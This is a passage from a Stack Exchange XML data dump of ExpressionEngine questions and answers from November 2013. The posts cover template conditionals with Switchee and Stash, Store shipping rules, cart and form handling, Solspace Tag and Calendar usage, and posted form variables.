3.0" />
  <row Id="15416" PostTypeId="2" ParentId="15414" CreationDate="2013-11-05T16:40:14.193" Score="3" Body="&lt;p&gt;If you look at the documentation a bit more carefully, you'll see that the &lt;code&gt;{case value=&quot;xxx&quot;}&lt;/code&gt; tags only use a single &lt;code&gt;=&lt;/code&gt; sign.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, this should work&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:switchee variable = &quot;{champions}&quot; parse=&quot;inward&quot;}&#xA;    {case value=&quot;team 3&quot;}&#xA;        &amp;lt;p&amp;gt;team 3&amp;lt;/p&amp;gt;&#xA;    {/case}&#xA;{/exp:switchee}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="197" LastActivityDate="2013-11-05T16:40:14.193" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="15417" PostTypeId="2" ParentId="15133" CreationDate="2013-11-05T16:55:18.003" Score="1" Body="&lt;p&gt;This may not be the solution but it was for an issue I was having... Try adjusting your shipping rule thresholds to:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0 - £101 - £6 &#xA;£101 - £501 - £12 &#xA;£501 - £4001 - £20 &#xA;£4001+ - £25&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Or some variation thereof. &lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Apparently the rules in Store are &quot;exclusive of the high number...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So setting 0-£101 works for 0-£100... and £101 - £501 works for £101 - £500&lt;/p&gt;&#xA;" OwnerUserId="28" LastEditorUserId="28" LastEditDate="2013-11-06T16:17:11.020" LastActivityDate="2013-11-06T16:17:11.020" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15418" PostTypeId="2" ParentId="15400" CreationDate="2013-11-05T17:10:14.070" Score="1" Body="&lt;p&gt;I was working on a My Cart page last night and ran into the bug with the Remove From Cart functionality not working. I used jQuery to solve my problem. Here's my basic code.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:store:checkout next=&quot;checkout/step1&quot;}&#xA;    {items}&#xA;        &amp;lt;input type=&quot;hidden&quot; name=&quot;items[{key}][item_qty]&quot; value=&quot;{item_qty}&quot; class=&quot;remove-{key}&quot;&amp;gt;&#xA;        &amp;lt;input id=&quot;remove-{key}&quot; type=&quot;submit&quot; name=&quot;update_cart&quot; value=&quot;Remove&quot; class=&quot;remove-me&quot;&amp;gt;&#xA;     {/items}&#xA;{/exp:store:checkout}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;AND &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;script type=&quot;text/javascript&quot;&amp;gt;&#xA;    $(function(){&#xA;        $(&quot;.remove-me&quot;).click(function(){&#xA;            var target = $(this).attr(&quot;id&quot;);&#xA;            $(&quot;.&quot; + target).val(&quot;0&quot;);&#xA;        });&#xA;    });&#xA;&amp;lt;/script&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="28" LastActivityDate="2013-11-05T17:10:14.070" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="15419" PostTypeId="2" ParentId="15192" CreationDate="2013-11-05T17:24:39.950" Score="0" Body="&lt;p&gt;&lt;a href=&quot;https://cartthrob.com/site/product_detail/66513&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;CartThrob Subscriptions&lt;/strong&gt;&lt;/a&gt; is an addon for CartThrob2 Pro which gives you subscription payment capabilities. &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;strong&gt;Features&lt;/strong&gt;   &lt;/p&gt;&#xA;  &#xA;  &lt;ul&gt;&#xA;  &lt;li&gt;Create, sell, and manage subscription plans&lt;/li&gt;&#xA;  &lt;li&gt;Customers can update their own subscriptions&lt;/li&gt;&#xA;  &lt;li&gt;Create, sell, and manage permissions (ACL-access control levels)&lt;/li&gt;&#xA;  &lt;li&gt;Take subscription payments along with product &amp;amp; donation payments in the same transaction&lt;/li&gt;&#xA;  &lt;li&gt;Configurable notifications for purchase, rebill success, and rebill failure events&lt;/li&gt;&#xA;  &lt;li&gt;Works with many popular payment gateways including Stripe, Authorize.net and eWay&lt;/li&gt;&#xA;  &lt;li&gt;Utilizes token/vault based payments. No credit card data is stored on your site.&lt;/li&gt;&#xA;  &lt;/ul&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="28" LastActivityDate="2013-11-05T17:24:39.950" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15420" PostTypeId="2" ParentId="15405" CreationDate="2013-11-05T17:28:01.990" Score="3" Body="&lt;p&gt;I've done it before. Take a look at the &lt;code&gt;display_field&lt;/code&gt; method of ft.wygwam.php. You'll see that it's fairly simple to instantiate a WYGWAM field. A few calls to the Wygwam_Helper class to load the JS/CSS. There are also some helpers for properly formatting the data. You'll need a textarea with an id, and also the ID number of a WYGWAM config. I don't want to replicate their code here, since it's proprietary, but this should send you in the right direction.&lt;/p&gt;&#xA;" OwnerUserId="617" LastActivityDate="2013-11-05T17:28:01.990" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="15422" PostTypeId="1" CreationDate="2013-11-05T18:19:46.710" Score="1" ViewCount="297" Body="&lt;p&gt;I have some simple conditionals mixed with some advanced conditionals. I've just downloaded Switchee and IfElse and am trying to figure out which plugin is best for each situation. Can someone help shed some light for me by giving me a bit of advice to clarify the best case to use each? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is my complete template's code:&#xA;&lt;a href=&quot;http://pastie.org/private/fifymxyldxu01jbex6zbq&quot; rel=&quot;nofollow&quot;&gt;http://pastie.org/private/fifymxyldxu01jbex6zbq&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm having some trouble understanding parsing orders, so any wisdom would be greatly appreciated!&lt;/p&gt;&#xA;" OwnerUserId="899" LastEditorUserId="899" LastEditDate="2013-11-05T19:44:12.057" LastActivityDate="2013-11-05T20:32:43.043" Title="Conditional Plugins: Switchee &amp; IfElse" Tags="|conditionals|plugin|ifelse|switchee|" AnswerCount="2" CommentCount="11" ContentLicense="CC BY-SA 3.0" />
  <row Id="15423" PostTypeId="2" ParentId="15422" CreationDate="2013-11-05T18:36:27.863" Score="1" Body="&lt;p&gt;If all this are fields within the same &lt;code&gt;exp:channel:entries&lt;/code&gt;, to use &lt;code&gt;switchee&lt;/code&gt; or &lt;code&gt;IfElse&lt;/code&gt; will make no difference.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Conditionals which uses module data are parsed by the module. There's no reason for use an addon.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Take a look at &lt;a href=&quot;https://expressionengine.stackexchange.com/questions/6/what-is-parse-order-and-how-does-it-affect-how-my-template-is-coded-rendered#53&quot;&gt;this answer of Low&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or start by the &lt;a href=&quot;https://speakerdeck.com/low/parse-order-pro&quot; rel=&quot;nofollow noreferrer&quot;&gt;slide 66 of his presentation&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The key to use this add-ons is to avoid unnecessary parsing, what, in your case, can be done just by not using native Playa tags.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Try to make them to be parsed after the &lt;code&gt;exp:channel:entries&lt;/code&gt; conditionals.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, take note of how much &lt;a href=&quot;http://johnhenry.ie/articles/expressionengine-developer-performance-toolbar&quot; rel=&quot;nofollow noreferrer&quot;&gt;memory and how many queries&lt;/a&gt; your templates uses now. Then start to replace the Playa fields that are inside conditionals by module tags.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if pre_event_banner_extra_info != ''}&#xA;    &amp;lt;img class=&quot;placeholder&quot; src=&quot;{pre_event_banner_extra_info}&quot; width=&quot;336&quot; height=&quot;305&quot; alt=&quot;image description&quot; /&amp;gt;&#xA;{if:else}&#xA;{pre_event_video show_future_entries=&quot;yes&quot; show_expired=&quot;yes&quot; status=&quot;open|not blog|homepage feature&quot;}&#xA;    &amp;lt;a href=&quot;http://{video_player_url}?autoplay=1&quot; class=&quot;vimeo&quot; rel=&quot;gallery&quot; title=&quot;{title}&quot;&amp;gt;&amp;lt;img class=&quot;placeholder&quot; src=&quot;{featured_image_sm}&quot; width=&quot;336&quot; height=&quot;305&quot; alt=&quot;image description&quot; /&amp;gt;&amp;lt;/a&amp;gt;&#xA;{/pre_event_video}&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;By:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:switchee variable = &quot;{pre_event_banner_extra_info}&quot; parse=&quot;inward&quot;}&#xA;&#xA;    {case value=&quot;&quot;}&#xA;        {exp:playa:children entry_id=&quot;{emebd:e-entry_id}&quot; field=&quot;pre_event_video&quot; show_expired=&quot;yes&quot; status=&quot;open|not blog|homepage feature&quot;}&#xA;            &amp;lt;a href=&quot;http://{video_player_url}?autoplay=1&quot; class=&quot;vimeo&quot; rel=&quot;gallery&quot; title=&quot;{title}&quot;&amp;gt;&amp;lt;img class=&quot;placeholder&quot; src=&quot;{featured_image_sm}&quot; width=&quot;336&quot; height=&quot;305&quot; alt=&quot;image description&quot; /&amp;gt;&amp;lt;/a&amp;gt;&#xA;        {/exp:playa:children}&#xA;    {/case}&#xA;&#xA;    {case default=&quot;Yes&quot;}&#xA;        &amp;lt;img class=&quot;placeholder&quot; src=&quot;{pre_event_banner_extra_info}&quot; width=&quot;336&quot; height=&quot;305&quot; alt=&quot;image description&quot; /&amp;gt;&#xA;    {/case}&#xA;&#xA;{/exp:switchee}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Check your memory and queries again.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, playa is another module and its tags will be discarded before parsing by switchee when not necessary.&lt;/p&gt;&#xA;" OwnerUserId="343" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:23.780" LastActivityDate="2013-11-05T20:32:43.043" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="15424" PostTypeId="1" AcceptedAnswerId="15429" CreationDate="2013-11-05T18:41:00.333" Score="0" ViewCount="95" Body="&lt;p&gt;I'm wondering if there's any way to create a new input format for assigning tags to entries in Channel Form (previously safecracker). I run a directory site and business owners will be editing their own listings and I want them to be able to assign tags to their entries. But they may not be familiar with how tags work, and even if they are they won't know which tags are available for them to use. So I want to list all possible tags in that tag groups in a list on the entry edit page, and allow them to use checkboxes to select tags that apply to their business.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any way I can create my own HTML structure to have each tag as a checkbox item and tags that get checked are assigned to the entry?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or am I stuck with using the tag widget or a simple textarea where all tags must be written in? &lt;/p&gt;&#xA;" OwnerUserId="982" LastActivityDate="2013-11-05T21:39:01.123" Title="Solspace Tag on Channel Form (safecracker) with checkbox list?" Tags="|solspace|solspace-tag|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15425" PostTypeId="2" ParentId="14985" CreationDate="2013-11-05T18:42:06.923" Score="1" Body="&lt;p&gt;Try changing the &quot;Restrict allowed HTML?&quot; to 'No' in the Wygwam configuration settings. This is located on the WYGWAM Module settings page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/fIA48.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="28" LastActivityDate="2013-11-05T18:42:06.923" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="15426" PostTypeId="1" AcceptedAnswerId="15428" CreationDate="2013-11-05T19:04:30.873" Score="0" ViewCount="132" Body="&lt;p&gt;I have the following code to parse a form submitted in EE:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;foreach ($fields as $f)&#xA;{            &#xA;    if(isset($_POST[$f]) {&#xA;        $$f = $this-&amp;gt;EE-&amp;gt;input-&amp;gt;post($f);&#xA;        $$f = $this-&amp;gt;EE-&amp;gt;security-&amp;gt;xss_clean($$f);&#xA;        $clean_data[$f] = $$f;&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Not all members in the $fields array may be present in the post.    &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does that raise an exception if the field doesn't exist or will it go ahead and create a member in $clean_data for the missing postvar?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If so, would this be a simplification of the entire loop above?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;foreach ($fields as $f)&#xA;{            &#xA;    $$f = $this-&amp;gt;EE-&amp;gt;input-&amp;gt;post($f, true);&#xA;    $clean_data[$f] = $$f;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The $fields array is needed to post to a web service. All fields are required in the $fields array but they may not be present in the post.&lt;/p&gt;&#xA;" OwnerUserId="1725" LastActivityDate="2013-11-05T21:33:38.203" Title="EE form Post Vars" Tags="|ee2|forms|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15427" PostTypeId="2" ParentId="15422" CreationDate="2013-11-05T19:30:07.213" Score="3" Body="&lt;p&gt;You are doing a ton in your template. After a quick look I'd say your slowness is related to your relationship fields.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I suggest installing the &lt;a href=&quot;http://devot-ee.com/add-ons/ee-debug-toolbar&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;EE Debug Tool&lt;/strong&gt;&lt;/a&gt; to determine what specifically is &quot;slow&quot; on the page load. That will help you decide how to optimize the template.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I also suggest taking a look at &lt;a href=&quot;http://devot-ee.com/add-ons/ce-cache&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;CE Cache&lt;/strong&gt;&lt;/a&gt; to see if it makes sense for your project.&lt;/p&gt;&#xA;" OwnerUserId="28" LastActivityDate="2013-11-05T19:30:07.213" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15428" PostTypeId="2" ParentId="15426" CreationDate="2013-11-05T19:31:18.693" Score="0" Body="&lt;p&gt;Why not skip the extra step&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$clean_data = array();&#xA;foreach ($fields as $f)&#xA;{            &#xA;    $clean_data[$f] = $this-&amp;gt;EE-&amp;gt;input-&amp;gt;post($f, true);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;input-&gt;post() will return FALSE if the field was not posted.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;edit: if fields should be required and contain certain types of values, you need to look at the Form Validation &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/development/usage/form_validation.html&quot; rel=&quot;nofollow&quot;&gt;http://ellislab.com/expressionengine/user-guide/development/usage/form_validation.html&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://ellislab.com/codeigniter/user-guide/libraries/form_validation.html&quot; rel=&quot;nofollow&quot;&gt;http://ellislab.com/codeigniter/user-guide/libraries/form_validation.html&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="155" LastActivityDate="2013-11-05T19:31:18.693" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="15429" PostTypeId="2" ParentId="15424" CreationDate="2013-11-05T19:38:32.520" Score="1" Body="&lt;p&gt;If the user isn't going to create tags as part of the process, why use the Solspace Tag module at all... just use EE's native categories which you can manually add in the control panel and they can select via checkboxes.&lt;/p&gt;&#xA;" OwnerUserId="28" LastActivityDate="2013-11-05T19:38:32.520" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="15430" PostTypeId="2" ParentId="15426" CreationDate="2013-11-05T21:33:38.203" Score="0" Body="&lt;p&gt;Here is the code that works for me:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;foreach ($clean_data as $key=&amp;gt;$value)&#xA;{            &#xA;    if(isset($_POST[$key])) {&#xA;        $clean_data[$key] = $this-&amp;gt;EE-&amp;gt;input-&amp;gt;post($key, true);            &#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1725" LastActivityDate="2013-11-05T21:33:38.203" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15431" PostTypeId="2" ParentId="15424" CreationDate="2013-11-05T21:39:01.123" Score="1" Body="&lt;p&gt;If you are okay with doing a multi-step submission process, you could try a combination of manipulating the Tag:Form template tag and populating it with the Tag:Cloud template tag.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.solspace.com/docs/tag/form/#examples&quot; rel=&quot;nofollow&quot;&gt;http://www.solspace.com/docs/tag/form/#examples&lt;/a&gt; (last example as your base)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:tag:form&#xA;    form_id=&quot;my_form&quot;&#xA;    return=&quot;path_to/my_template&quot;&#xA;    entry_id=&quot;{entry_id}&quot;&#xA;}&#xA;&#xA;   {exp:tag:cloud&#xA;      channel=&quot;whatever&quot;&#xA;      limit=&quot;25&quot;&#xA;      orderby=&quot;tag_name&quot;&#xA;      sort=&quot;asc&quot;&#xA;   }&#xA;      &amp;lt;input type=&quot;checkbox&quot; name=&quot;tags[]&quot; value=&quot;{tag}&quot; id=&quot;{tag}_label&quot; /&amp;gt;&#xA;      &amp;lt;label for=&quot;{tag}_label&quot;&amp;gt;{tag}&amp;lt;/label&amp;gt;&#xA;   {/exp:tag:cloud}&#xA;&#xA;   &amp;lt;input type=&quot;submit&quot; name=&quot;submit&quot; value=&quot;Submit Tags&quot; /&amp;gt;&#xA;&#xA;{/exp:tag:form}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You may have to put the Tag:Cloud tag inside an embed to get it to work, and I'm not 100% certain this solution will work.&lt;/p&gt;&#xA;" OwnerUserId="884" LastActivityDate="2013-11-05T21:39:01.123" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="15432" PostTypeId="1" AcceptedAnswerId="15436" CreationDate="2013-11-05T22:00:54.050" Score="0" ViewCount="106" Body="&lt;p&gt;In my situation a person will be editing their record within Channel Form. They have a photo field, but I only want to display it if the person is NOT in a particular category. The categories list has about 50 categories, so if possible, it'd be great to do something like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:form...}&#xA;&#xA;if category != &quot;bad category&quot;&#xA;show field:photo&#xA;&#xA;{/exp:channel:form}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Any ideas on the easiest way to accomplish this? Thanks a million for any tips. &lt;/p&gt;&#xA;" OwnerUserId="1327" LastEditorUserId="69" LastEditDate="2013-11-06T11:38:02.953" LastActivityDate="2013-11-06T14:58:19.740" Title="Easy way to check if a category's selected within Channel Form?" Tags="|categories|channel-form|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15433" PostTypeId="1" CreationDate="2013-11-05T22:31:39.167" Score="1" ViewCount="621" Body="&lt;p&gt;I'm having some problems with my view model template... I'm trying to compare the value of &lt;code&gt;url_title&lt;/code&gt;, but regardless of the value of it the last conditional passes and sets the stash variable...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is what I Have:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{stash:embed:layouts:full-width}&#xA;&#xA;{exp:channel:entries limit=&quot;1&quot; channel=&quot;pages&quot; disable=&quot;member_data|pagination&quot; require_entry=&quot;yes&quot; dynamic=&quot;no&quot; url_title=&quot;{segment_1}&quot; parse=&quot;inward&quot;}&#xA;    {exp:stash:set_value name=&quot;content&quot; value=&quot;{exp:stash:embed:partials:supports-landing}&quot;}&#xA;    {exp:stash:set_value name=&quot;body_class&quot; value=&quot;{url_title}&quot;}&#xA;&#xA;    {if &quot;{url_title}&quot; == &quot;supports-for-adults&quot;}&#xA;        {exp:stash:set_value name=&quot;support_type&quot; value=&quot;Adults&quot;}&#xA;    {if:elseif &quot;{url_title}&quot; == &quot;supports-for-children&quot;}&#xA;        {exp:stash:set_value name=&quot;support_type&quot; value=&quot;Children&quot;}&#xA;    {/if}&#xA;&#xA;    {exp:stash:set_list&#xA;        name=&quot;supports-landing&quot;&#xA;        parse_tags=&quot;yes&quot;&#xA;    }&#xA;        {stash:entry_id}{entry_id}{/stash:entry_id}&#xA;        {stash:body}{body}{/stash:body}&#xA;        {stash:support_type}{exp:stash:support_type}{/stash:support_type}&#xA;    {/exp:stash:set_list}&#xA;{/exp:channel:entries}&#xA;&#xA;{exp:stash:set_list&#xA;    name=&quot;supports-landing-list&quot;&#xA;    parse_tags=&quot;yes&quot;&#xA;}&#xA;    {exp:channel:entries channel=&quot;supports&quot; disable=&quot;member_data|pagination&quot; dynamic=&quot;no&quot; orderby=&quot;title&quot; sort=&quot;asc&quot;}&#xA;        {if &quot;{supports_for}&quot; == &quot;{exp:stash:support_type}&quot;}&#xA;            {stash:support_title}{title}{/stash:support_title}&#xA;            {stash:support_excerpt}{supports_excerpt}{/stash:support_excerpt}&#xA;            {stash:support_cover_image}{supports_cover_image}{/stash:support_cover_image}&#xA;            {stash:support_url}{path='supports/{url_title}'}{/stash:support_url}&#xA;        {/if}&#xA;    {/exp:channel:entries}&#xA;{/exp:stash:set_list}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Every time, regardless if i'm on &lt;code&gt;/supports-for-adults&lt;/code&gt; or &lt;code&gt;/supports-for-children&lt;/code&gt;, the value of &lt;code&gt;{exp:stash:support_type}&lt;/code&gt; will be &lt;code&gt;Children&lt;/code&gt;. If I remove the &lt;code&gt;if:elseif&lt;/code&gt; part of the conditional, it will always be &lt;code&gt;Adults&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas why this would be happening, been fighting with it for quite some time.. Tried removing the &lt;code&gt;&quot;&lt;/code&gt;'s, the &lt;code&gt;{&lt;/code&gt;'s, tried using the &lt;code&gt;IfElse&lt;/code&gt; plugin, tried using &lt;code&gt;Switchee&lt;/code&gt;... Tried changing the &lt;code&gt;exp:channel:entries&lt;/code&gt; to &lt;code&gt;dynamic=&quot;no&quot;&lt;/code&gt;, &lt;code&gt;parse=&quot;inward&quot;&lt;/code&gt;, &lt;code&gt;url_title=&quot;{segment_1}&quot;&lt;/code&gt; etc.. I can't think of anything else to try now...&lt;/p&gt;&#xA;" OwnerUserId="2322" LastActivityDate="2014-05-05T11:48:08.277" Title="Conditional Not Working" Tags="|stash|conditionals|url-title|switchee|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15434" PostTypeId="2" ParentId="15433" CreationDate="2013-11-05T22:59:26.643" Score="1" Body="&lt;p&gt;Since you don't have a default &lt;code&gt;{if:else}&lt;/code&gt; case, try using simple conditionals compared against &lt;code&gt;segment_1&lt;/code&gt; (since that's setting your entry anyway).&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if segment_1 == &quot;supports-for-adults&quot;}&#xA;    {exp:stash:set_value name=&quot;support_type&quot; value=&quot;Adults&quot;}&#xA;{/if}&#xA;{if segment_1 == &quot;supports-for-children&quot;}&#xA;    {exp:stash:set_value name=&quot;support_type&quot; value=&quot;Children&quot;}&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="69" LastActivityDate="2013-11-05T22:59:26.643" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="15435" PostTypeId="2" ParentId="14174" CreationDate="2013-11-05T23:05:55.520" Score="4" Body="&lt;p&gt;If you want a more dynamic solution, this works too:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;category=&quot;not |&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I'm not 100% sure why it works but it appears to be because the &quot;not&quot; operator returns entries without a category. The EE help docs mention this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;[http://ellislab.com/expressionengine/user-guide/modules/channel/channel_entries.html#category][1]:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;strong&gt;NOTE:&lt;/strong&gt;&#xA;  When you use the category=&quot;3|4&quot; parameter (not excluding), you are implicitly telling ExpressionEngine to only deal with entries that have been assigned one or more categories. If you have entries that haven’t been categorized then they will be ignored and not included in the results. However, if you are using exclusion (category=&quot;not 3|4&quot;), then you will be shown all entries without those categories including those without any categories assigned. To change this behavior when excluding categories use the uncategorized_entries parameter.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Since the above parameter doesn't match any actual categories the result is a list of entries that doesn't have an assigned category.&lt;/p&gt;&#xA;" OwnerUserId="2237" LastActivityDate="2013-11-05T23:05:55.520" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15436" PostTypeId="2" ParentId="15432" CreationDate="2013-11-05T23:24:28.233" Score="1" Body="&lt;p&gt;There's no way to do this with native tags. I think your best bet here, since you're dealing with the the front-end is to use some simple jQuery to show and hide your photo field based on the change event of the dropdown menu.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is really outside the scope of EE, but it'd look something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$('#id_of_category_field').change(function(){&#xA;    var value = $(this).val();&#xA;&#xA;    if(value != 'some-value')&#xA;    {&#xA;        $('#id_of_photo_field').show();&#xA;    }&#xA;    else&#xA;    {&#xA;        $('#id_of_photo_field').hide();&#xA;    }&#xA;});&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This will obviously require a little tweaking for your specific situation, but it should get you going in the right direction.&lt;/p&gt;&#xA;" OwnerUserId="197" LastActivityDate="2013-11-05T23:24:28.233" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15437" PostTypeId="1" CreationDate="2013-11-05T23:34:25.163" Score="2" ViewCount="224" Body="&lt;p&gt;I have a calendar with lots of different events. Some are single days, some span for months, others recur on specific dates, and some others recur on specific dates but also span several days.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How would I display the date of an occurrence while it is in progress, otherwise display the next occurrence?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is what I have now:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:calendar:occurrences&#xA;    event_id=&quot;{event_id}&quot;&#xA;    date_range_start=&quot;today&quot;&#xA;    date_range_end=&quot;+ 1 year&quot;&#xA;    occurrences_limit=&quot;1&quot;}&#xA;&#xA;    {if '{occurrence_start_date format=&quot;%d/%m/%Y&quot;}' == '{occurrence_end_date format=&quot;%d/%m/%Y&quot;}'}&#xA;        {occurrence_start_date format=&quot;%d/%m/%Y&quot;}&#xA;    {if:else}&#xA;        {occurrence_start_date format=&quot;%d/%m/%Y&quot;} - {occurrence_end_date format=&quot;%d/%m/%Y&quot;}&#xA;    {/if}&#xA;{/exp:calendar:occurrences}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This works most of the time, but breaks when there are recurring events spanning multiple days. For example, an event which recurs &quot;every other weekend&quot; will be displayed properly until Sunday, since the occurrence start date is Saturday.&lt;/p&gt;&#xA;" OwnerUserId="1582" LastActivityDate="2013-11-07T00:45:16.017" Title="Displaying current and upcoming occurences with solspace calendar" Tags="|solspace|solspace-calendar|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15438" PostTypeId="1" CreationDate="2013-11-05T23:37:59.717" Score="2" ViewCount="133" Body="&lt;p&gt;Having textareas with markdown formatting is appealing to me but not everybody is as positive as I am.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Using the HTML buttons could perhaps make the experience a bit more gentle. Editing the H1-6 buttons seemed to be a no-brainer at first. But if I could figure out how to have those buttons append a new line to the headings I would have to handle a lot less complaints about how stupid Markdown is when Wordpress has wysiwyg-editors like Word...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So. Is there a way to achieve a new line with the HTML-buttons?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;/David&lt;/p&gt;&#xA;" OwnerUserId="481" LastActivityDate="2013-11-06T13:05:23.707" Title="include new line in HTML button" Tags="|html|markdown|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
